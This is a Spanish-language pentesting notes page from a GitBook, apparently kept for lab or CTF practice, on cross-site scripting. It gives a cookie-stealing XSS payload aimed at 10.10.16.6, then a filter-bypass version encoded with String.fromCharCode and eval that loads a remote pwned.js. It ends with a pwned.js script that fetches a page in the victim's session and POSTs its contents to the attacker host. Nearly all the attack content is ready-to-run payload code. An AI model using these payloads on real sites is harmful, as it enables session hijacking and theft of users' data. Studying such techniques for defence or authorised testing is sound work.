Notas
  • Introduction
  • Active Directory
    • BloodHound
    • Bypassing
    • Enumeration
    • Groups
    • Methodology
    • Msfvenom
    • Pivoting
    • Privesc
  • CMS
    • Jenkins
    • wordpress
  • CVEs
    • CVE-2017-0199
    • CVE-2019-1414
    • CVE-2021-42287
    • CVE-2021-44228
  • Common Ports
    • DNS - 53
    • LDAP - 389
    • MSSQL - 1433
    • NFS - 2049
    • RPC - 135
    • SMB - 445
    • VNC - 5900
    • ftp-21
    • kerberos-88
    • msrpc-5722
    • mysql-3306
    • rdp-3389
    • redis-6379
    • smtp-25
    • snmp-161
    • squid-3128
    • winrm-5985
  • EXTRA
    • BruteForce
    • Criptography
    • Extra
    • Fuzzing
    • Mounts
    • RevShells
  • Pentesting Android
    • Basic
  • Pentesting Web
    • IIS
    • LFI
    • OWASP TOP 10
    • Padding Oracle Attack
    • SSRF
    • SSTI
    • XSS
  • Pivoting
    • Remote Port Fowarding
    • Remote commands
  • SQLi
    • Conditional-based
    • Enumeration
    • Error-based
    • SQLite
    • Time-based
  • linux
    • Escalada
    • common-vulns
    • docker-breakout
    • ip-tables
    • port-forwarding
    • port-knocking
    • privesc
    • reversing
    • samba
  • scripting
    • Bash
    • PHP
    • Powershell
    • Python
Powered by GitBook
On this page
  • Inyección básica
  • Técnicas de bypass
  • Uso de String.fromCharacter()
  • Creación de secuencia de caracteres
  • Nuevo payload
  • Ejemplo de pwned.js (Dumpeo del contenido tal y como lo ve el otro usuario)
  1. Pentesting Web

XSS

Inyección básica

<img src="asd><script>document.location("http://10.10.16.6/?cookie=' + document.cookie + '</script>">

Técnicas de bypass

Uso de String.fromCharacter()

Creación de secuencia de caracteres

Python 3.10.9 (main, Dec  7 2022, 13:47:07) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> cadena = """document.write('<script src="http://10.10.16.6/pwned.js"></script>');"""
>>> for character in cadena:
...     print(ord(character))

Nuevo payload

<img src="asd><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,54,47,112,119,110,101,100,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59));</script>">

Ejemplo de pwned.js (Dumpeo del contenido tal y como lo ve el otro usuario)

var peticion = new XMLHttpRequest();
peticion.open('GET', 'http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65', false);
peticion.send();

var respuesta = peticion.responseText;

var peticion2 = new XMLHttpRequest();
peticion2.open('POST', 'http://10.10.16.6:81/codigofuente', true);
peticion2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

var respuestacoded = encodeURIComponent(respuesta);
peticion2.send(respuestacoded);
PreviousSSTINextPivoting

Last updated 1 year ago